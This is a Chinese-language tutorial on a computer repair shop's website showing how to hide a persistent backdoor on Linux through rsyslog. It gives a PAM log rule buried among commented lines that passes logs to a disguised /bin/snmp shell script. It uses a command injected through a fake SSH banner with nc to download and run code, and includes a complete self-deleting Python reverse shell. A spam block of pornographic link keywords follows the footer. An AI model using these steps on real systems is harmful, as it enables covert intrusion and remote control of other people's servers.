錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務技術文章
關于利用Rsyslog隱藏系統(tǒng)后門

作者: 佚名  日期:2017-07-02 11:37:28   來源: 本站整理

 0×01. 關于Rsyslog
ryslog 是一個快速處理收集系統(tǒng)日志的程序,提供了高性能、安全功能和模塊化設計。rsyslog 是syslog 的升級版,它將多種來源輸入輸出轉換結果到目的地,據官網介紹,現在可以處理100萬條信息。
特性:
1.多線程
2.支持加密協議:ssl,tls,relp
3.mysql、oracle、postgreSQL
4.等等..
一般主流的Linux發(fā)行版本中都會自帶Rsyslog服務,本文則利用這個常見的日志服務隱藏系統(tǒng)后門
0×02. 實例演示利用Rsyslog 隱藏系統(tǒng)后門
試驗環(huán)境
10.1.100.1       遠程服務器,提供反彈py腳本下載 (windows7)
10.1.100.2       控制端   (centos)
10.1.100.3       被控端    (kali)
一、被控端配置
1. 給rsylog添加后門配置文件
在被控端 上執(zhí)行以下命令(假設你已經獲取victim的 root權限)
man -a rsyslogd syslog | sed 's/^/#&/g' | sed '187 aauth.* ^/bin/snmp #' > /etc/rsyslog.d/README.conf
這串命令的意思試講 關于rsyslogd syslog的所有man 幫助信息導入到/etc/rsyslog.d 目錄下的README.conf文件中,且在README.conf 文件的188行寫入
auth.* ^/bin/snmp #
命令中之所以寫成aauth, 是因為a是sed的中的關鍵字,被自動過濾掉,所以要多寫一個
命令執(zhí)行完之后的,結果如下:

我們知道 Rsyslog 服務會將/etc/resyslog.d 目錄下的*.conf 文件都認為是配置文件, 這里將名字定為 README.conf 也是增強迷惑性(當然你也可以找到rsyslog的配置文件,然后修改這個配置文件)
我們來看配置文件中唯一一行沒有被注釋掉的代碼
auth.* ^/bin/snmp #
之所以將其放在188行,因為一般人看到這么多注釋行,不會繼續(xù)往下翻, 將配置行 放在這里不容易被發(fā)現
其中auth 表示的是PAM認證產生的日志
auth.* ^/bin/snmp #  的意思是將 PAM 產生的所有日志都發(fā)往/bin/snmp 程序
這里的/bin/snmp 就是我們留下的后門,snmp也是為了增強迷惑性而命名的
2.  編寫后門代碼
后門是一個很簡單,設置可以說是簡陋的sh腳本, 代碼如下:
#!/bin/sh
sh -c "$1"
$1 表示傳給腳本的第1個參數內容
-c 表示將 $1的字符串內容當做sh命令執(zhí)行
別忘了給后門增加可執(zhí)行權限
chmod 755 /bin/snmp
3. 重啟rsyslog 服務
systemctl restart rsyslog
至此 被控端配置完畢
二、控制端配置
一般的系統(tǒng)都會開放SSH 服務,而且ssh 是基于PAM認證的,所以ssh認證登錄中產生的日志都會發(fā)往 /bin/snmp
1. 在控制端執(zhí)行監(jiān)聽,等待shell反彈

2. 在控制端執(zhí)行如下命令,下載反彈py腳本,并保存在被控端的/tmp/x.py:
echo "';wget http://10.1.100.1/x.py -O /tmp/x.py;'"|nc 10.1.100.3 22
我們知道ssh 協議在通信的時候首先需要交換ssh版本信息,已確定是否可以通信
所以這里 ‘;wget http://10.1.100.1/x.py -O /tmp/x.py;’ 相當于向victim (10.1.100.3) 宣告自己的ssh版本(顯然這里是偽造的,但這不重要),這個版本宣告信息會被rsyslog捕獲,并將其傳至/bin/snmp, /bin/snmp 會將;wgethttp://10.1.100.1/x.py -O /tmp/x.py;視為入參, 然后執(zhí)行腳本
也即:
sh -C ";wget http://10.1.100.1/x.py -O /tmp/x.py;"
不知道你注意到沒,這里在wget 的命令前后加上;目的是為了防止ssh通信中其他日志信息干擾wget 命令執(zhí)行
x.py 代碼如下:
    import os
    import pty
    import socket
    
    lhost = "10.1.100.2" # XXX: CHANGEME
    lport = 31337 # XXX: CHANGEME
    
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        os.remove('/tmp/x.py')    # 退出后銷毀自身
        s.close()
        
    if __name__ == "__main__":
        main()
命令執(zhí)行結果:

被控端查看,下載成功

4. 執(zhí)行x.py, 反彈shell
控制端執(zhí)行:
echo "';python /tmp/x.py;'"|nc 10.1.100.3 22
控制端查看,獲取shell



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 无码av最新无码av专区| 久久亚洲中文无码咪咪爱| 中文字幕无码一区二区三区本日| 亚洲?V无码成人精品区日韩 | 国产成人综合日韩精品无码| 国产成人无码午夜福利软件| 久久精品无码专区免费东京热| 成在人线AV无码免费| 色欲狠狠躁天天躁无码中文字幕| 亚洲AV无码无限在线观看不卡| 精品无人区无码乱码大片国产| 亚洲最大av资源站无码av网址| 中文字幕av无码不卡| 免费看国产成年无码AV片| 日韩人妻无码精品久久久不卡 | 久久无码av亚洲精品色午夜 | 无码专区AAAAAA免费视频| 国产做无码视频在线观看| 69ZXX少妇内射无码| 日韩精品无码一区二区中文字幕| 无码精品人妻一区二区三区AV| 性虎精品无码AV导航| 2021无码最新国产在线观看| 无码人妻一区二区三区在线| 一本色道无码不卡在线观看| yy111111少妇无码影院| 国产成人无码精品久久久露脸 | 国产午夜无码片免费| 韩国精品一区二区三区无码视频| 精品国产v无码大片在线观看| 久久午夜夜伦鲁鲁片无码免费| 国模无码一区二区三区不卡| 超清无码无卡中文字幕| 粉嫩大学生无套内射无码卡视频 | 无码少妇一区二区| 亚洲V无码一区二区三区四区观看 亚洲爆乳精品无码一区二区三区 亚洲爆乳无码一区二区三区 | 少妇人妻无码专区视频| 久久亚洲AV成人无码电影| 色情无码WWW视频无码区小黄鸭| 亚洲AV无码一区二区三区系列| 麻豆aⅴ精品无码一区二区|